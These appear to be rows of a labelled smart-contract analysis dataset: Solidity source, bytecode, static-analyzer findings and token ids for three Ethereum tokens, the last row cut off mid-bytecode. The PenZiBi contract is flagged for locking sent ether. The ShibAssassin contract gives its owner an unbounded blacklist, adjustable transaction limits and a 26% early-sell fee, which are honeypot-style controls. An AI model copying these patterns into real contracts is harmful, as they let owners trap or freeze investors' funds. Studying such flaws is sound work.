0x96e8618de1191989939e28161c59c6d1c49028c2
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract AirdropToken is BaseToken { uint256 public airAmount; uint256 public airBegintime; uint256 public airEndtime; address public airSender; uint32 public airLimitCount; mapping (address => uint32) public airCountOf; event Airdrop(address indexed from, uint32 indexed count, uint256 tokenValue); function airdrop() public payable { require(now >= airBegintime && now <= airEndtime); require(msg.value == 0); if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) { revert(); } _transfer(airSender, msg.sender, airAmount); airCountOf[msg.sender] += 1; Airdrop(msg.sender, airCountOf[msg.sender], airAmount); } } contract CustomToken is BaseToken, AirdropToken { function CustomToken() public { totalSupply = 1000000000000000000000000000; name = 'PenZiBi'; symbol = 'PZB'; decimals = 18; balanceOf[0xed1cbf659d5a8dd9e42c95c54c5f789db8fa4bfc] = totalSupply; Transfer(address(0), 0xed1cbf659d5a8dd9e42c95c54c5f789db8fa4bfc, totalSupply); airAmount = 8888000000000000000000; airBegintime = 1524355200; airEndtime = 1526947200; airSender = 0xed1cbf659d5a8dd9e42c95c54c5f789db8fa4bfc; airLimitCount = 1; } function() public payable { airdrop(); } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ef57806307cc605114610179578063095ea7b31461019e57806318160ddd146101d457806323b872dd146101e7578063313ce5671461020f5780633884d635146100e557806370a08231146102385780637d7202961461025757806395d89b4114610286578063a3fe1ade14610299578063a9059cbb146102d1578063b0f85a10146102f3578063dd62ed3e14610306578063e67ad2541461032b578063e779a8cf1461033e575b6100ed610351565b005b34156100fa57600080fd5b61010261047e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561013e578082015183820152602001610126565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b61018c61051c565b60405190815260200160405180910390f35b34156101a957600080fd5b6101c0600160a060020a0360043516602435610522565b604051901515815260200160405180910390f35b34156101df57600080fd5b61018c61058e565b34156101f257600080fd5b6101c0600160a060020a0360043581169060243516604435610594565b341561021a57600080fd5b61022261060b565b60405160ff909116815260200160405180910390f35b341561024357600080fd5b61018c600160a060020a0360043516610614565b341561026257600080fd5b61026a610626565b604051600160a060020a03909116815260200160405180910390f35b341561029157600080fd5b610102610635565b34156102a457600080fd5b6102b8600160a060020a03600435166106a0565b60405163ffffffff909116815260200160405180910390f35b34156102dc57600080fd5b6101c0600160a060020a03600435166024356106b8565b34156102fe57600080fd5b61018c6106ce565b341561031157600080fd5b61018c600160a060020a03600435811690602435166106d4565b341561033657600080fd5b61018c6106f1565b341561034957600080fd5b6102b86106f7565b600754421015801561036557506008544211155b151561037057600080fd5b341561037b57600080fd5b60095460007401000000000000000000000000000000000000000090910463ffffffff161180156103e85750600954600160a060020a0333166000908152600a602052604090205463ffffffff740100000000000000000000000000000000000000009092048216911610155b156103f257600080fd5b60095460065461040d91600160a060020a031690339061071b565b33600160a060020a03166000818152600a602052604090819020805463ffffffff198116600163ffffffff9283160182161791829055600654911692917fcce6ff7d594e7067a58df51c8588740b7c8b42537da7262add9823085de82e4891905190815260200160405180910390a3565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105145780601f106104e957610100808354040283529160200191610514565b820191906000526020600020905b8154815290600101906020018083116104f757829003601f168201915b505050505081565b60065481565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b600160a060020a038084166000908152600560209081526040808320339094168352929052908120548211156105c957600080fd5b600160a060020a038085166000908152600560209081526040808320339094168352929052208054839003905561060184848461071b565b5060019392505050565b60025460ff1681565b60046020526000908152604090205481565b600954600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105145780601f106104e957610100808354040283529160200191610514565b600a6020526000908152604090205463ffffffff1681565b60006106c533848461071b565b50600192915050565b60085481565b600560209081526000928352604080842090915290825290205481565b60075481565b60095474010000000000000000000000000000000000000000900463ffffffff1681565b6000600160a060020a038316151561073257600080fd5b600160a060020a0384166000908152600460205260409020548290101561075857600080fd5b600160a060020a0383166000908152600460205260409020548281011161077e57600080fd5b50600160a060020a0382811660009081526004602052604080822080549387168352912080548481038255825485019283905590549201910181146107bf57fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3505050505600a165627a7a72305820f24d69d1f609cb6e36bf68f0c5333677db82c8bdb3cda5f6449acbbd5820de5c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 20842, 15136, 3207, 14526, 2683, 16147, 2620, 2683, 2683, 23499, 2063, 22407, 16048, 2487, 2278, 28154, 2278, 2575, 2094, 2487, 2278, 26224, 2692, 22407, 2278, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 2918, 18715, 2368, 1063, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,511
0x96e872bd2f1793ea82e4b8950039ad9f96334485
/** *Submitted for verification at Etherscan.io on 2020-08-14 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract EUFO is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "ELON UFO"; symbol = "EUFO"; decimals = 18; _totalSupply = 1000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd146101ab57806323b872dd146101d2578063313ce567146102155780633eaaf86b1461024057806370a082311461025557806395d89b4114610288578063a293d1e81461029d578063a9059cbb146102cd578063b5931f7c14610306578063d05c78da14610336578063dd62ed3e14610366578063e6cb9013146103a1575b600080fd5b3480156100e057600080fd5b506100e96103d1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b506101976004803603604081101561018157600080fd5b50600160a060020a03813516906020013561045f565b604080519115158252519081900360200190f35b3480156101b757600080fd5b506101c06104c6565b60408051918252519081900360200190f35b3480156101de57600080fd5b50610197600480360360608110156101f557600080fd5b50600160a060020a038135811691602081013590911690604001356104f8565b34801561022157600080fd5b5061022a6105f1565b6040805160ff9092168252519081900360200190f35b34801561024c57600080fd5b506101c06105fa565b34801561026157600080fd5b506101c06004803603602081101561027857600080fd5b5035600160a060020a0316610600565b34801561029457600080fd5b506100e961061b565b3480156102a957600080fd5b506101c0600480360360408110156102c057600080fd5b5080359060200135610675565b3480156102d957600080fd5b50610197600480360360408110156102f057600080fd5b50600160a060020a03813516906020013561068a565b34801561031257600080fd5b506101c06004803603604081101561032957600080fd5b508035906020013561072e565b34801561034257600080fd5b506101c06004803603604081101561035957600080fd5b508035906020013561074f565b34801561037257600080fd5b506101c06004803603604081101561038957600080fd5b50600160a060020a0381358116916020013516610774565b3480156103ad57600080fd5b506101c0600480360360408110156103c457600080fd5b508035906020013561079f565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104575780601f1061042c57610100808354040283529160200191610457565b820191906000526020600020905b81548152906001019060200180831161043a57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546003540390565b600160a060020a03831660009081526004602052604081205461051b9083610675565b600160a060020a03851660009081526004602090815260408083209390935560058152828220338352905220546105529083610675565b600160a060020a038086166000908152600560209081526040808320338452825280832094909455918616815260049091522054610590908361079f565b600160a060020a0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60025460ff1681565b60035481565b600160a060020a031660009081526004602052604090205490565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104575780601f1061042c57610100808354040283529160200191610457565b60008282111561068457600080fd5b50900390565b336000908152600460205260408120546106a49083610675565b3360009081526004602052604080822092909255600160a060020a038516815220546106d0908361079f565b600160a060020a0384166000818152600460209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600080821161073c57600080fd5b818381151561074757fe5b049392505050565b818102821580610769575081838281151561076657fe5b04145b15156104c057600080fd5b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b818101828110156104c057600080fdfea165627a7a723058201ef32af34db122e695ced6b572618f3ce340e64af3bd19cec3fe0f06d2dded680029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2620, 2581, 2475, 2497, 2094, 2475, 2546, 16576, 2683, 2509, 5243, 2620, 2475, 2063, 2549, 2497, 2620, 2683, 29345, 23499, 4215, 2683, 2546, 2683, 2575, 22394, 22932, 27531, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5511, 1011, 2403, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,512
0x96E885e8fc918C4e54CE6c2299557eba818Cbc0B
/** * Telegram https://t.me/ShibAssassin * Website https://shibassassin.com/ * Twitter https://twitter.com/ShibAssassin * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibAssassin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "ShibAssassin"; string private constant _symbol = "ShibAss"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x0171abac6a1a3f8913dc93f83c16FdD6B3Ba2A60); _feeAddrWallet2 = payable(0x0171abac6a1a3f8913dc93f83c16FdD6B3Ba2A60); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) { _feeAddr1 = 1; _feeAddr2 = 25; } else { _feeAddr1 = 1; _feeAddr2 = 8; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 1; _feeAddr2 = 8; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca14610337578063c3c8cd8014610357578063c9567bf91461036c578063cc653b4414610381578063dd62ed3e146103b7578063ff872602146103fd57600080fd5b80638da5cb5b1461029f57806395d89b41146102c7578063a9059cbb146102f7578063b515566a14610317578063bc3371821461033757600080fd5b8063313ce567116100f2578063313ce567146102195780635932ead1146102355780636fc3eaec1461025557806370a082311461026a578063715018a61461028a57600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d7578063273123b7146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b29b434b120b9b9b0b9b9b4b760a11b60208201525b6040516101789190611952565b60405180910390f35b34801561018d57600080fd5b506101a161019c3660046117e3565b610412565b6040519015158152602001610178565b3480156101bd57600080fd5b50683635c9adc5dea000005b604051908152602001610178565b3480156101e357600080fd5b506101a16101f23660046117a3565b610429565b34801561020357600080fd5b50610217610212366004611733565b610492565b005b34801561022557600080fd5b5060405160098152602001610178565b34801561024157600080fd5b506102176102503660046118d5565b6104e6565b34801561026157600080fd5b5061021761052e565b34801561027657600080fd5b506101c9610285366004611733565b61055b565b34801561029657600080fd5b5061021761057d565b3480156102ab57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102d357600080fd5b506040805180820190915260078152665368696241737360c81b602082015261016b565b34801561030357600080fd5b506101a16103123660046117e3565b6105f1565b34801561032357600080fd5b5061021761033236600461180e565b6105fe565b34801561034357600080fd5b5061021761035236600461190d565b6106a2565b34801561036357600080fd5b506102176106d1565b34801561037857600080fd5b50610217610707565b34801561038d57600080fd5b506101c961039c366004611733565b6001600160a01b031660009081526004602052604090205490565b3480156103c357600080fd5b506101c96103d236600461176b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561040957600080fd5b50610217610acb565b600061041f338484610b04565b5060015b92915050565b6000610436848484610c28565b610488843361048385604051806060016040528060288152602001611b23602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610fd4565b610b04565b5060019392505050565b6000546001600160a01b031633146104c55760405162461bcd60e51b81526004016104bc906119a5565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104bc906119a5565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461054e57600080fd5b476105588161100e565b50565b6001600160a01b03811660009081526002602052604081205461042390611093565b6000546001600160a01b031633146105a75760405162461bcd60e51b81526004016104bc906119a5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061041f338484610c28565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104bc906119a5565b60005b815181101561069e5760016007600084848151811061065a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611ab8565b91505061062b565b5050565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016104bc906119a5565b601155565b600d546001600160a01b0316336001600160a01b0316146106f157600080fd5b60006106fc3061055b565b905061055881611117565b6000546001600160a01b031633146107315760405162461bcd60e51b81526004016104bc906119a5565b601054600160a01b900460ff161561078b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104bc565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107c83082683635c9adc5dea00000610b04565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080157600080fd5b505afa158015610815573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610839919061174f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088157600080fd5b505afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b9919061174f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610939919061174f565b6010805460016001